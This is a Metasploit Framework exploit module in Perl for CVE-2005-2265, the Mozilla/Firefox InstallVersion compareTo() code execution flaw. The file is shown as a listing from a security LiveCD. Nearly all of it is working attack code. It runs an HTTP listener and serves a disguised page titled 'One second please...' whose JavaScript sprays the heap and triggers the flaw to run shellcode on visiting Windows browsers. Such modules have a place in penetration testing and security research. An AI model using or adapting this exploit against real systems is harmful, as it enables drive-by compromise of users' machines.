home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / mozilla_compareto.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  254 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::mozilla_compareto;
  11.  
  12. use strict;
  13. use base "Msf::Exploit";
  14. use Pex::Text;
  15. use IO::Socket::INET;
  16.  
  17. my $advanced = { };
  18.  
  19. my $info =
  20.   {
  21.     'Name'           => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution',
  22.     'Version'        => '$Revision: 1.3 $',
  23.     'Authors'        =>
  24.       [
  25.           'Aviv Raff <avivra [at] gmail.com>',
  26.         'H D Moore <hdm [at] metasploit.com>',
  27.       ],
  28.  
  29.     'Description'    =>
  30.       Pex::Text::Freeform(qq{
  31.         This module exploits a code execution vulnerability in the Mozilla
  32.     Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit 
  33.     module is a direct port of Aviv Raff's HTML PoC.
  34. }),
  35.  
  36.     'Arch'           => [ 'x86' ],
  37.     'OS'             => [ 'win32' ],
  38.     'Priv'           => 0,
  39.  
  40.     'UserOpts'       =>
  41.       {
  42.         'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
  43.         'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
  44.       },
  45.  
  46.     'Payload'        =>
  47.       {
  48.         'Space'    => 400,
  49.         'BadChars' => "\x00",
  50.         'Keys'     => ['-bind'],
  51.       },
  52.     'Refs'           =>
  53.       [
  54.           ['BID',    '14242'],
  55.         ['OSVDB',  '17968'],
  56.         ['CVE',    '2005-2265'],
  57.         ['URL',    'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
  58.       ],
  59.  
  60.     'DefaultTarget'  => 0,
  61.     'Targets'        =>
  62.       [
  63.         [ 'Mozilla Firefox < 1.0.5 for Windows', 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ]
  64.       ],
  65.     
  66.     'Keys'           => [ 'mozilla' ],
  67.  
  68.     'DisclosureDate' => 'Jul 13 2005',
  69.   };
  70.  
  71. sub new {
  72.     my $class = shift;
  73.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  74.     return($self);
  75. }
  76.  
  77. sub Exploit
  78. {
  79.     my $self = shift;
  80.     my $server = IO::Socket::INET->new(
  81.         LocalHost => $self->GetVar('HTTPHOST'),
  82.         LocalPort => $self->GetVar('HTTPPORT'),
  83.         ReuseAddr => 1,
  84.         Listen    => 1,
  85.         Proto     => 'tcp'
  86.     );
  87.     my $client;
  88.  
  89.     # Did the listener create fail?
  90.     if (not defined($server)) {
  91.         $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
  92.         return;
  93.     }
  94.  
  95.     my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
  96.         Pex::Utils::SourceIP('1.2.3.4') :
  97.         $self->GetVar('HTTPHOST');
  98.  
  99.     $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
  100.  
  101.     while (defined($client = $server->accept())) {
  102.         $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
  103.     }
  104.  
  105.     return;
  106. }
  107.  
  108. sub HandleHttpClient
  109. {
  110.     my $self = shift;
  111.     my $fd   = shift;
  112.  
  113.     # Set the remote host information
  114.     my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
  115.         
  116.  
  117.     # Read the HTTP command
  118.     my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
  119.  
  120.     $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending payload...");
  121.  
  122.  
  123.     my $content = $self->GenerateHTML();
  124.     
  125.     # Transmit the HTTP response
  126.     my $req =         
  127.         "HTTP/1.0 200 OK\r\n" .
  128.         "Content-Type: text/html\r\n" .
  129.         "Content-Length: " . length($content) . "\r\n" .
  130.         "Connection: close\r\n" .
  131.         "\r\n" .
  132.         $content;
  133.                 
  134.     my $res = $fd->Send($req);
  135.  
  136.     $fd->Close();
  137. }
  138.  
  139. sub JSUnescape {
  140.     my $self = shift;
  141.     my $data = shift;
  142.     my $code = '';
  143.     
  144.     # Encode the shellcode via %u sequences for JS's unescape() function
  145.     my $idx = 0;
  146.     while ($idx < length($data) - 1) {
  147.         my $c1 = ord(substr($data, $idx, 1));
  148.         my $c2 = ord(substr($data, $idx+1, 1));    
  149.         $code .= sprintf('%%u%.2x%.2x', $c2, $c1);    
  150.         $idx += 2;
  151.     }
  152.     
  153.     return $code;
  154. }
  155.  
  156. sub GenerateHTML {
  157.     my $self   = shift;
  158.     my $target = $self->Targets->[$self->GetVar('TARGET')];
  159.     
  160.     my $shellcode   = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
  161.     my $sprayTo     = sprintf("0x%.8x", $target->[1]);
  162.     my $spraySlide1 = $self->JSUnescape(pack('V', $target->[2]));
  163.     my $spraySlide2 = $self->JSUnescape(pack('V', $target->[3]));
  164.     my $eaxAddress  = sprintf("0x%.8x", $target->[4]);
  165.     
  166.     my $data  = qq#
  167. <html>
  168. <head>
  169. <!-- 
  170.      Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
  171.      From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
  172.      Greets: SkyLined, The Insider and shutdown 
  173. -->
  174.     <title>One second please...</title>
  175.     <script language="javascript">
  176.  
  177.         function BodyOnLoad() 
  178.         {
  179.             location.href="javascript:void (new InstallVersion());";
  180.             CrashAndBurn();
  181.         };
  182.  
  183.         // The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
  184.         function CrashAndBurn() 
  185.         {
  186.             // Spray up to this address
  187.             var heapSprayToAddress=$sprayTo;
  188.  
  189.             // Payload - Just return..
  190.             var payLoadCode=unescape("$shellcode");
  191.  
  192.             // Size of the heap blocks  
  193.             var heapBlockSize=0x400000;
  194.             
  195.             // Size of the payload in bytes
  196.             var payLoadSize=payLoadCode.length * 2; 
  197.             
  198.             // Caluclate spray slides size
  199.             var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header
  200.  
  201.             // Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
  202.             var spraySlide1 = unescape("$spraySlide1"); 
  203.  
  204.             spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize); 
  205.  
  206.             var spraySlide2 = unescape("$spraySlide2"); //0x1200002C 
  207.  
  208.             spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);
  209.  
  210.             var spraySlide3 = unescape("\%u9090\%u9090");
  211.             spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);
  212.  
  213.             // Spray the heap
  214.             heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
  215.             //alert(spraySlide2.length); return;
  216.             memory = new Array();
  217.             for (i=0;i<heapBlocks;i++) 
  218.             {
  219.                 memory[i]=(i\%3==0) ? spraySlide1 + payLoadCode: 
  220.                         (i\%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
  221.             }
  222.  
  223.             // Set address to fake "pdata".
  224.             var eaxAddress = $eaxAddress;
  225.             //    This was taken from shutdown's PoC in bugzilla
  226.             // struct vtbl { void (*code)(void); };
  227.             // struct data { struct vtbl *pvtbl; };
  228.             //
  229.             // struct data *pdata = (struct data *)(xxAddress & ~0x01);
  230.             // pdata->pvtbl->code(pdata);
  231.             //
  232.             (new InstallVersion).compareTo(new Number(eaxAddress >> 1));
  233.         }
  234.  
  235.         function getSpraySlide(spraySlide, spraySlideSize) {
  236.             while (spraySlide.length*2<spraySlideSize) 
  237.             {
  238.                 spraySlide+=spraySlide;
  239.             }    
  240.             spraySlide=spraySlide.substring(0,spraySlideSize/2);
  241.             return spraySlide;
  242.         }
  243.  
  244. // -->
  245.     </script>
  246. </head>
  247. <body onload="BodyOnLoad()">
  248. </body>
  249. </html>
  250. #;
  251. }
  252.  
  253. 1;
  254.